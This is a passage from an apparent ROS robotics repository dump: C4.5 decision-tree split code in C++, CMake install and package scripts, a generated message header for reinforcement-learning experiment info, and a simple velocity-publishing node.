*bestVal, bool *bestType, \n std::vector<tree_experience*> *bestLeft,\n std::vector<tree_experience*> *bestRight) {\n if (DTDEBUG) cout << \"testPossibleSplits\" << endl;\n\n\n // pre-calculate some stuff for these splits (namely I, P, C)\n float I = calcIforSet(instances);\n //if (DTDEBUG) cout << \"I: \" << I << endl;\n\n int nties = 0;\n\n // for each possible split, calc gain ratio\n for (unsigned idim = 0; idim < instances[0]->input.size(); idim++){\n\n //float* sorted = sortOnDim(idim, instances);\n float minVal, maxVal;\n std::set<float> uniques = getUniques(idim, instances, minVal, maxVal);\n\n for (std::set<float>::iterator j = uniques.begin(); j != uniques.end(); j++){\n\n // skip max val, not a valid cut for either\n if ((*j) == maxVal)\n continue;\n \n // if this is a random forest, we eliminate some random number of splits\n // here (decision is taken from the random set that are left)\n if (rng.uniform() < featPct)\n continue;\n\n std::vector<tree_experience*> left;\n std::vector<tree_experience*> right;\n\n // splits that are cuts\n float splitval = (*j);\n float gainRatio = calcGainRatio(idim, splitval, CUT, instances, I, left, right);\n\n if (SPLITDEBUG) cout << \" CUT split val \" << splitval\n << \" on dim: \" << idim << \" had gain ratio \"\n << gainRatio << endl;\n\n // see if this is the new best gain ratio\n compareSplits(gainRatio, idim, splitval, CUT, left, right, &nties,\n bestGainRatio, bestDim, bestVal, bestType, bestLeft, bestRight);\n\n\n // no minval here, it would be the same as the cut split on minval\n if (ALLOW_ONLY_SPLITS && (*j) != minVal){\n // splits that are true only if this value is equal\n float splitval = (*j);\n\n float gainRatio = calcGainRatio(idim, splitval, ONLY, instances, I, left, right);\n\n if (SPLITDEBUG) cout << \" ONLY split val \" << splitval\n << \" on dim: \" << idim << \" had gain ratio \"\n << gainRatio << endl;\n\n // see if this is the new best gain ratio\n compareSplits(gainRatio, idim, splitval, ONLY, left, right, &nties,\n bestGainRatio, bestDim, bestVal, bestType, bestLeft, bestRight);\n\n } // splits with only\n\n } // j loop\n }\n}\n\n\n\nvoid C45Tree::compareSplits(float gainRatio, int dim, float val, bool type,\n const std::vector<tree_experience*> &left, \n const std::vector<tree_experience*> &right,\n int *nties, float *bestGainRatio, int *bestDim,\n float *bestVal, bool *bestType,\n std::vector<tree_experience*> *bestLeft, std::vector<tree_experience*> *bestRight){\n if (DTDEBUG) cout << \"compareSplits gainRatio=\" << gainRatio << \",dim=\" << dim\n << \",val=\" << val << \",type= \" << type <<endl;\n\n\n bool newBest = false;\n\n // if its a virtual tie, break it randomly\n if (fabs(*bestGainRatio - gainRatio) < SPLIT_MARGIN){\n //cout << \"Split tie, making random decision\" << endl;\n\n (*nties)++;\n float randomval = rng.uniform(0,1);\n float newsplitprob = (1.0 / (float)*nties);\n\n if (randomval < newsplitprob){\n newBest = true;\n if (SPLITDEBUG) cout << \" Tie on split. DT: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", selecting new split \" << endl;\n }\n else\n if (SPLITDEBUG) cout << \" Tie on split. DT: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", staying with old split \" << endl;\n }\n\n // if its clearly better, set this as the best split\n else if (gainRatio > *bestGainRatio){\n newBest = true;\n *nties = 1;\n }\n\n\n // set the split features\n if (newBest){\n *bestGainRatio = gainRatio;\n *bestDim = dim;\n *bestVal = val;\n *bestType = type;\n *bestLeft = left;\n *bestRight = right;\n if (SPLITDEBUG){\n cout << \" New best gain ratio: \" << *bestGainRatio\n << \": type \" << *bestType\n << \" with val \" << *bestVal\n << \" on dim \" << *bestDim << endl;\n }\n } // newbest\n}\n\nfloat C45Tree::calcGainRatio(int dim, float val, bool type,\n const std::vector<tree_experience*> &instances,\n float I,\n std::vector<tree_experience*> &left,\n std::vector<tree_experience*> &right){\n if (DTDEBUG) cout << \"calcGainRatio, dim=\" << dim\n << \" val=\" << val\n << \" I=\" << I\n << \" nInstances= \" << instances.size() << endl;\n\n left.clear();\n right.clear();\n\n // array with percentage positive and negative for this test\n float D[2];\n\n // info(T) = I(P): float I;\n\n // Info for this split = Info(X,T)\n float Info;\n\n // Gain for this split = Gain(X,T)\n float Gain;\n\n // SplitInfo for this split = I(|pos|/|T|, |neg|/|T|)\n float SplitInfo;\n\n // GainRatio for this split = GainRatio(X,T) = Gain(X,T) / SplitInfo(X,T)\n float GainRatio;\n\n // see where the instances would go with this split\n for (unsigned i = 0; i < instances.size(); i++){\n if (DTDEBUG) cout << \"calcGainRatio - Classify instance \" << i \n << \" on new split \" << endl;\n\n if (passTest(dim, val, type, instances[i]->input)){\n left.push_back(instances[i]);\n }\n else{\n right.push_back(instances[i]);\n }\n }\n\n if (DTDEBUG) cout << \"Left has \" << left.size()\n << \", right has \" << right.size() << endl;\n\n D[0] = (float)left.size() / (float)instances.size();\n D[1] = (float)right.size() / (float)instances.size();\n float leftInfo = calcIforSet(left);\n float rightInfo = calcIforSet(right);\n Info = D[0] * leftInfo + D[1] * rightInfo;\n Gain = I - Info;\n SplitInfo = calcIofP((float*)&D, 2);\n GainRatio = Gain / SplitInfo;\n\n if (DTDEBUG){\n cout << \"LeftInfo: \" << leftInfo\n << \" RightInfo: \" << rightInfo\n << \" Info: \" << Info\n << \" Gain: \" << Gain\n << \" SplitInfo: \" << SplitInfo\n << \" GainRatio: \" << GainRatio\n << endl;\n }\n\n return GainRatio;\n\n}\n\nfloat C45Tree::calcIofP(float* P, int size){\n if (DTDEBUG) cout << \"calcIofP, size=\" << size << endl;\n float I = 0;\n for (int i = 0; i < size; i++){\n I -= P[i] * log(P[i]);\n }\n return I;\n}\n\nfloat C45Tree::calcIforSet(const std::vector<tree_experience*> &instances){\n if (DTDEBUG) cout << \"calcIforSet\" << endl;\n\n std::map<float, int> classes;\n\n // go through instances and figure count of each type\n for (unsigned i = 0; i < instances.size(); i++){\n // increment count for this value\n float val = instances[i]->output;\n classes[val]++;\n }\n\n // now calculate P\n float Pval;\n float I = 0;\n for (std::map<float, int>::iterator i = classes.begin(); i != classes.end(); i++){\n Pval = (float)(*i).second / (float)instances.size();\n // calc I of P\n I -= Pval * log(Pval);\n }\n\n return I;\n\n}\n\nstd::set<float> C45Tree::getUniques(int dim, const std::vector<tree_experience*> &instances, float& minVal, float& maxVal){\n if (DTDEBUG) cout << \"getUniques,dim = \" << dim;\n\n std::set<float> uniques;\n\n for (int i = 0; i < (int)instances.size(); i++){\n if (i == 0 || instances[i]->input[dim] < minVal)\n minVal = instances[i]->input[dim];\n if (i == 0 || instances[i]->input[dim] > maxVal)\n maxVal = instances[i]->input[dim];\n\n uniques.insert(instances[i]->input[dim]);\n }\n\n if (DTDEBUG) cout << \" #: \" << uniques.size() << endl;\n return uniques;\n}\n\n\nfloat* C45Tree::sortOnDim(int dim, const std::vector<tree_experience*> &instances){\n if (DTDEBUG) cout << \"sortOnDim,dim = \" << dim << endl;\n\n float* values = new float[instances.size()];\n\n for (int i = 0; i < (int)instances.size(); i++){\n //cout << \"Instance \" << i << endl;\n\n float val = instances[i]->input[dim];\n //cout << \" val: \" << val << endl;\n\n // find where this should go\n for (int j = 0; j <= i; j++){\n //cout << \" j: \" << j << endl;\n\n // get to i, this is the spot then\n if (j==i){\n values[j] = val;\n //cout << \" At i, putting value in slot j: \" << j << endl;\n }\n\n // if this is the spot\n else if (val < values[j]){\n //cout << \" Found slot at j: \" << j << endl;\n\n // slide everything forward to make room\n for (int k = i; k > j; k--){\n //cout << \" k = \" << k << \" Sliding value from k-1 to k\" << endl;\n values[k] = values[k-1];\n }\n\n // put value in its spot at j\n //cout << \" Putting value at slot j: \" << j << endl;\n values[j] = val;\n\n // break\n break;\n }\n\n }\n }\n\n if (DTDEBUG){\n cout << \"Sorted array: \" << values[0];\n for (int i = 1; i < (int)instances.size(); i++){\n cout << \", \" << values[i];\n }\n cout << endl;\n }\n\n return values;\n\n}\n\n\nvoid C45Tree::printTree(tree_node *t, int level){\n\n for (int i = 0; i < level; i++){\n cout << \".\";\n }\n\n cout << \"Node \" << t->id;\n if (t->type == C45Tree::CUT) cout << \" Type: CUT\"; \n else cout << \" Type: ONLY\";\n cout << \" Dim: \" << t->dim << \" Val: \" << t->val\n << \" nInstances: \" << t->nInstances ;\n \n if (t->leaf){\n cout << \" Outputs: \";\n for (std::map<float, int>::iterator j = t->outputs.begin();\n j != t->outputs.end(); j++){\n cout << (*j).first << \": \" << (*j).second << \", \";\n }\n cout << endl;\n }\n else\n cout << \" Left: \" << t->l->id << \" Right: \" << t->r->id << endl;\n\n\n // print children\n if (t->dim != -1 && !t->leaf){\n printTree(t->l, level+1);\n printTree(t->r, level+1);\n }\n\n}\n\n\n\n\n\n// output a map of outcomes and their probabilities for this leaf node\nvoid C45Tree::outputProbabilities(tree_node* leaf, std::map<float, float>* retval){\n if (STOCH_DEBUG) cout << \"Calculating output probs for leaf \" << leaf->id << endl;\n\n // go through all output values at this leaf, turn into probabilities\n for (std::map<float, int>::iterator it = leaf->outputs.begin();\n it != leaf->outputs.end(); it++){\n\n float val = (*it).first;\n float count = (float)(*it).second;\n if (count > 0)\n (*retval)[val] = count / (float)leaf->nInstances;\n\n if (STOCH_DEBUG) \n cout << \"Output value \" << val << \" had count of \" << count << \" on \"\n << leaf->nInstances <<\" instances and prob of \" \n << (*retval)[val] << endl;\n }\n\n}\n\n\nvoid C45Tree::initNodes(){\n\n for (int i = 0; i < N_C45_NODES; i++){\n initTreeNode(&(allNodes[i]));\n freeNodes.push_back(i);\n if (NODEDEBUG) \n cout << \"init node \" << i << \" with id \" << allNodes[i].id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n }\n\n}\n\nC45Tree::tree_node* C45Tree::allocateNode(){\n if (freeNodes.empty()){\n tree_node* newNode = new tree_node;\n initTreeNode(newNode);\n if (NODEDEBUG) \n cout << id << \" PROBLEM: No more pre-allocated nodes!!!\" << endl\n << \"return new node \" << newNode->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n return newNode;\n }\n\n int i = freeNodes.back();\n freeNodes.pop_back();\n if (NODEDEBUG) \n cout << id << \" allocate node \" << i << \" with id \" << allNodes[i].id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n return &(allNodes[i]);\n}\n\nvoid C45Tree::deallocateNode(tree_node* node){\n\n if (node->id >= N_C45_NODES){\n if (NODEDEBUG) \n cout << id << \" dealloc extra node id \" << node->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n delete node;\n return;\n }\n\n freeNodes.push_back(node->id);\n if (NODEDEBUG) \n cout << id << \" dealloc node \" << node->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n}\n\n" }, { "alpha_fraction": 0.7576243877410889, "alphanum_fraction": 0.7654207944869995, "avg_line_length": 47.988765716552734, "blob_id": "e8b9b102c53e3ba0e977eae0dd1fd3fb9bde4796", "content_id": "62f84013087c68290cd986b3335e3f793e635e38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 4361, "license_type": "no_license", "max_line_length": 188, "num_lines": 89, "path": "/build/homework2/cmake_install.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# Install script for directory: /home/justin/ros_test/src/homework2\n\n# Set the install prefix\nif(NOT DEFINED CMAKE_INSTALL_PREFIX)\n set(CMAKE_INSTALL_PREFIX \"/home/justin/ros_test/install\")\nendif()\nstring(REGEX REPLACE \"/$\" \"\" CMAKE_INSTALL_PREFIX \"${CMAKE_INSTALL_PREFIX}\")\n\n# Set the install configuration name.\nif(NOT DEFINED CMAKE_INSTALL_CONFIG_NAME)\n if(BUILD_TYPE)\n string(REGEX REPLACE \"^[^A-Za-z0-9_]+\" \"\"\n CMAKE_INSTALL_CONFIG_NAME \"${BUILD_TYPE}\")\n else()\n set(CMAKE_INSTALL_CONFIG_NAME \"\")\n endif()\n message(STATUS \"Install configuration: \\\"${CMAKE_INSTALL_CONFIG_NAME}\\\"\")\nendif()\n\n# Set the component getting installed.\nif(NOT CMAKE_INSTALL_COMPONENT)\n if(COMPONENT)\n message(STATUS \"Install component: \\\"${COMPONENT}\\\"\")\n set(CMAKE_INSTALL_COMPONENT \"${COMPONENT}\")\n else()\n set(CMAKE_INSTALL_COMPONENT)\n endif()\nendif()\n\n# Install shared libraries without execute permission?\nif(NOT DEFINED CMAKE_INSTALL_SO_NO_EXE)\n set(CMAKE_INSTALL_SO_NO_EXE \"1\")\nendif()\n\n# Is this installation the result of a crosscompile?\nif(NOT DEFINED CMAKE_CROSSCOMPILING)\n set(CMAKE_CROSSCOMPILING \"FALSE\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/homework2/srv\" TYPE FILE FILES \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/homework2/cmake\" TYPE FILE FILES \"/home/justin/ros_test/build/homework2/catkin_generated/installspace/homework2-msg-paths.cmake\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/include\" TYPE DIRECTORY FILES \"/home/justin/ros_test/devel/include/homework2\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/roseus/ros\" TYPE DIRECTORY FILES \"/home/justin/ros_test/devel/share/roseus/ros/homework2\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/common-lisp/ros\" TYPE DIRECTORY FILES \"/home/justin/ros_test/devel/share/common-lisp/ros/homework2\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/gennodejs/ros\" TYPE DIRECTORY FILES \"/home/justin/ros_test/devel/share/gennodejs/ros/homework2\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n execute_process(COMMAND \"/usr/bin/python2\" -m compileall \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/homework2\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/lib/python2.7/dist-packages\" TYPE DIRECTORY FILES \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/homework2\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/lib/pkgconfig\" TYPE FILE FILES \"/home/justin/ros_test/build/homework2/catkin_generated/installspace/homework2.pc\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/homework2/cmake\" TYPE FILE FILES \"/home/justin/ros_test/build/homework2/catkin_generated/installspace/homework2-msg-extras.cmake\")\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/homework2/cmake\" TYPE FILE FILES\n \"/home/justin/ros_test/build/homework2/catkin_generated/installspace/homework2Config.cmake\"\n \"/home/justin/ros_test/build/homework2/catkin_generated/installspace/homework2Config-version.cmake\"\n )\nendif()\n\nif(\"x${CMAKE_INSTALL_COMPONENT}x\" STREQUAL \"xUnspecifiedx\" OR NOT CMAKE_INSTALL_COMPONENT)\n file(INSTALL DESTINATION \"${CMAKE_INSTALL_PREFIX}/share/homework2\" TYPE FILE FILES \"/home/justin/ros_test/src/homework2/package.xml\")\nendif()\n\n" }, { "alpha_fraction": 0.6924026012420654, "alphanum_fraction": 0.7031552791595459, "avg_line_length": 26.274038314819336, "blob_id": "e00742801859c8e8da579e83890e3a01f1506986", "content_id": "96a1a398b32b137fee19cc756b97eadd38236c24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5673, "license_type": "no_license", "max_line_length": 441, "num_lines": 208, "path": "/devel/include/rl_msgs/RLExperimentInfo.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "// Generated by gencpp from file rl_msgs/RLExperimentInfo.msg\n// DO NOT EDIT!\n\n\n#ifndef RL_MSGS_MESSAGE_RLEXPERIMENTINFO_H\n#define RL_MSGS_MESSAGE_RLEXPERIMENTINFO_H\n\n\n#include <string>\n#include <vector>\n#include <map>\n\n#include <ros/types.h>\n#include <ros/serialization.h>\n#include <ros/builtin_message_traits.h>\n#include <ros/message_operations.h>\n\n\nnamespace rl_msgs\n{\ntemplate <class ContainerAllocator>\nstruct RLExperimentInfo_\n{\n typedef RLExperimentInfo_<ContainerAllocator> Type;\n\n RLExperimentInfo_()\n : episode_number(0)\n , episode_reward(0.0)\n , number_actions(0) {\n }\n RLExperimentInfo_(const ContainerAllocator& _alloc)\n : episode_number(0)\n , episode_reward(0.0)\n , number_actions(0) {\n (void)_alloc;\n }\n\n\n\n typedef int32_t _episode_number_type;\n _episode_number_type episode_number;\n\n typedef float _episode_reward_type;\n _episode_reward_type episode_reward;\n\n typedef int32_t _number_actions_type;\n _number_actions_type number_actions;\n\n\n\n\n\n typedef boost::shared_ptr< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> > Ptr;\n typedef boost::shared_ptr< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> const> ConstPtr;\n\n}; // struct RLExperimentInfo_\n\ntypedef ::rl_msgs::RLExperimentInfo_<std::allocator<void> > RLExperimentInfo;\n\ntypedef boost::shared_ptr< ::rl_msgs::RLExperimentInfo > RLExperimentInfoPtr;\ntypedef boost::shared_ptr< ::rl_msgs::RLExperimentInfo const> RLExperimentInfoConstPtr;\n\n// constants requiring out of line definition\n\n\n\ntemplate<typename ContainerAllocator>\nstd::ostream& operator<<(std::ostream& s, const ::rl_msgs::RLExperimentInfo_<ContainerAllocator> & v)\n{\nros::message_operations::Printer< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >::stream(s, \"\", v);\nreturn s;\n}\n\n} // namespace rl_msgs\n\nnamespace ros\n{\nnamespace message_traits\n{\n\n\n\n// BOOLTRAITS {'IsFixedSize': True, 'IsMessage': True, 'HasHeader': False}\n// {'rl_msgs': ['/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg'], 'std_msgs': ['/opt/ros/melodic/share/std_msgs/cmake/../msg']}\n\n// !!!!!!!!!!! ['__class__', '__delattr__', '__dict__', '__doc__', '__eq__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_parsed_fields', 'constants', 'fields', 'full_name', 'has_header', 'header_present', 'names', 'package', 'parsed_fields', 'short_name', 'text', 'types']\n\n\n\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> const>\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> const>\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> const>\n : FalseType\n { };\n\n\ntemplate<class ContainerAllocator>\nstruct MD5Sum< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"df389dab0f017dc2a66e6cedd44b7a1e\";\n }\n\n static const char* value(const ::rl_msgs::RLExperimentInfo_<ContainerAllocator>&) { return value(); }\n static const uint64_t static_value1 = 0xdf389dab0f017dc2ULL;\n static const uint64_t static_value2 = 0xa66e6cedd44b7a1eULL;\n};\n\ntemplate<class ContainerAllocator>\nstruct DataType< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"rl_msgs/RLExperimentInfo\";\n }\n\n static const char* value(const ::rl_msgs::RLExperimentInfo_<ContainerAllocator>&) { return value(); }\n};\n\ntemplate<class ContainerAllocator>\nstruct Definition< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"# Message displaying / plotting / printing info about experiments\\n\\\n\\n\\\nint32 episode_number\\n\\\nfloat32 episode_reward\\n\\\n\\n\\\nint32 number_actions\\n\\\n\";\n }\n\n static const char* value(const ::rl_msgs::RLExperimentInfo_<ContainerAllocator>&) { return value(); }\n};\n\n} // namespace message_traits\n} // namespace ros\n\nnamespace ros\n{\nnamespace serialization\n{\n\n template<class ContainerAllocator> struct Serializer< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n {\n template<typename Stream, typename T> inline static void allInOne(Stream& stream, T m)\n {\n stream.next(m.episode_number);\n stream.next(m.episode_reward);\n stream.next(m.number_actions);\n }\n\n ROS_DECLARE_ALLINONE_SERIALIZER\n }; // struct RLExperimentInfo_\n\n} // namespace serialization\n} // namespace ros\n\nnamespace ros\n{\nnamespace message_operations\n{\n\ntemplate<class ContainerAllocator>\nstruct Printer< ::rl_msgs::RLExperimentInfo_<ContainerAllocator> >\n{\n template<typename Stream> static void stream(Stream& s, const std::string& indent, const ::rl_msgs::RLExperimentInfo_<ContainerAllocator>& v)\n {\n s << indent << \"episode_number: \";\n Printer<int32_t>::stream(s, indent + \" \", v.episode_number);\n s << indent << \"episode_reward: \";\n Printer<float>::stream(s, indent + \" \", v.episode_reward);\n s << indent << \"number_actions: \";\n Printer<int32_t>::stream(s, indent + \" \", v.number_actions);\n }\n};\n\n} // namespace message_operations\n} // namespace ros\n\n#endif // RL_MSGS_MESSAGE_RLEXPERIMENTINFO_H\n" }, { "alpha_fraction": 0.7677419185638428, "alphanum_fraction": 0.7774193286895752, "avg_line_length": 43.42856979370117, "blob_id": "bb00b6561cc570104ee7c4f854db30eccb397b4f", "content_id": "9a14e2e4a3d23602a415cb069a3c091c1cb62748", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 310, "license_type": "no_license", "max_line_length": 49, "num_lines": 7, "path": "/src/roundbot_gazebo/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"roundbot_gazebo\")\nset(roundbot_gazebo_MAINTAINER \"micho <[email protected]>\")\nset(roundbot_gazebo_DEPRECATED \"\")\nset(roundbot_gazebo_VERSION \"0.0.0\")\nset(roundbot_gazebo_BUILD_DEPENDS \"gazebo_ros\")\nset(roundbot_gazebo_RUN_DEPENDS \"gazebo_ros\")\nset(roundbot_gazebo_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.7473683953285217, "alphanum_fraction": 0.7736842036247253, "avg_line_length": 46.5625, "blob_id": "a6d1cf1b6c1889d7076520e31f0641dca42f4bff", "content_id": "ffff3049f2fd86605dfb9afde94d4d84550ddd35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 760, "license_type": "no_license", "max_line_length": 92, "num_lines": 16, "path": "/build/homework4/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"homework4\")\nset(homework4_VERSION \"0.0.0\")\nset(homework4_MAINTAINER \"abc <[email protected]>\")\nset(homework4_PACKAGE_FORMAT \"1\")\nset(homework4_BUILD_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"visualization_msgs\")\nset(homework4_BUILD_EXPORT_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"visualization_msgs\")\nset(homework4_BUILDTOOL_DEPENDS \"catkin\")\nset(homework4_BUILDTOOL_EXPORT_DEPENDS )\nset(homework4_EXEC_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"visualization_msgs\")\nset(homework4_RUN_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"visualization_msgs\")\nset(homework4_TEST_DEPENDS )\nset(homework4_DOC_DEPENDS )\nset(homework4_URL_WEBSITE \"\")\nset(homework4_URL_BUGTRACKER \"\")\nset(homework4_URL_REPOSITORY \"\")\nset(homework4_DEPRECATED \"\")" }, { "alpha_fraction": 0.5887850522994995, "alphanum_fraction": 0.6093457937240601, "avg_line_length": 19.5, "blob_id": "5f136048427f69d1b9b404b75b9ae34ff5427167", "content_id": "44b60a9e12b5fca87559fce5df06266322a3bd20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 535, "license_type": "no_license", "max_line_length": 85, "num_lines": 26, "path": "/src/pub.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"ros/ros.h\"\n#include \"std_msgs/String.h\"\n#include <geometry_msgs/Twist.h>\n\n#include <sstream>\n\nint main(int argc, char **argv)\n{\n ros::init(argc, argv, \"talker\");\n ros::NodeHandle n;\n ros::Publisher chatter_pub = n.advertise<geometry_msgs::Twist>(\"cmd_vel\", 1000); \n ros::Rate loop_rate(10);\n\n int count = 0;\n while (ros::ok())\n {\n geometry_msgs::Twist msg;\n msg.linear.x = 10;\n msg.angular.z = 5; \n chatter_pub.publish(msg);\n ros::spinOnce();\n loop_rate.sleep();\n ++count;\n }\n return 0;\n}\n\n\n" }, { "alpha_fraction": 0.7298524379730225, "alphanum_fraction": 0.7343927621841431, "avg_line_length": 54.125, "blob_id": "a1e23ebd6cec047a459c66273021c577c3db4ab9", "content_id": "1f97f6cdbf322bd3de86e8640167bd676e4b5c14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 881, "license_type": "no_license", "max_line_length": 114, "num_lines": 16, "path": "/build/rl-texplore-ros-pkg-master/src/rl_experiment/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"rl_experiment\")\nset(rl_experiment_VERSION \"0.0.0\")\nset(rl_experiment_MAINTAINER \"Todd Hester <[email protected]>\")\nset(rl_experiment_PACKAGE_FORMAT \"1\")\nset(rl_experiment_BUILD_DEPENDS \"roscpp\" \"std_msgs\" \"tf\" \"rl_common\" \"rl_agent\" \"rl_env\")\nset(rl_experiment_BUILD_EXPORT_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\" \"tf\" \"rl_common\" \"rl_agent\" \"rl_env\")\nset(rl_experiment_BUILDTOOL_DEPENDS \"catkin\")\nset(rl_experiment_BUILDTOOL_EXPORT_DEPENDS )\nset(rl_experiment_EXEC_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\" \"tf\" \"rl_common\" \"rl_agent\" \"rl_env\")\nset(rl_experiment_RUN_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\" \"tf\" \"rl_common\" \"rl_agent\" \"rl_env\")\nset(rl_experiment_TEST_DEPENDS )\nset(rl_experiment_DOC_DEPENDS )\nset(rl_experiment_URL_WEBSITE \"\")\nset(rl_experiment_URL_BUGTRACKER \"\")\nset(rl_experiment_URL_REPOSITORY \"\")\nset(rl_experiment_DEPRECATED \"\")" }, { "alpha_fraction": 0.7841945290565491, "alphanum_fraction": 0.7841945290565491, "avg_line_length": 49.61538314819336, "blob_id": "859afddd73621f7cb1f0222b1d6037e07d6d99fc", "content_id": "63ba2a1802a0ed5fdbda9f20502775b74f5e2735", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 658, "license_type": "no_license", "max_line_length": 93, "num_lines": 13, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_nodejs.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/rl_msgs_generate_messages_nodejs\"\n \"/home/justin/ros_test/devel/share/gennodejs/ros/rl_msgs/msg/RLEnvSeedExperience.js\"\n \"/home/justin/ros_test/devel/share/gennodejs/ros/rl_msgs/msg/RLExperimentInfo.js\"\n \"/home/justin/ros_test/devel/share/gennodejs/ros/rl_msgs/msg/RLEnvDescription.js\"\n \"/home/justin/ros_test/devel/share/gennodejs/ros/rl_msgs/msg/RLStateReward.js\"\n 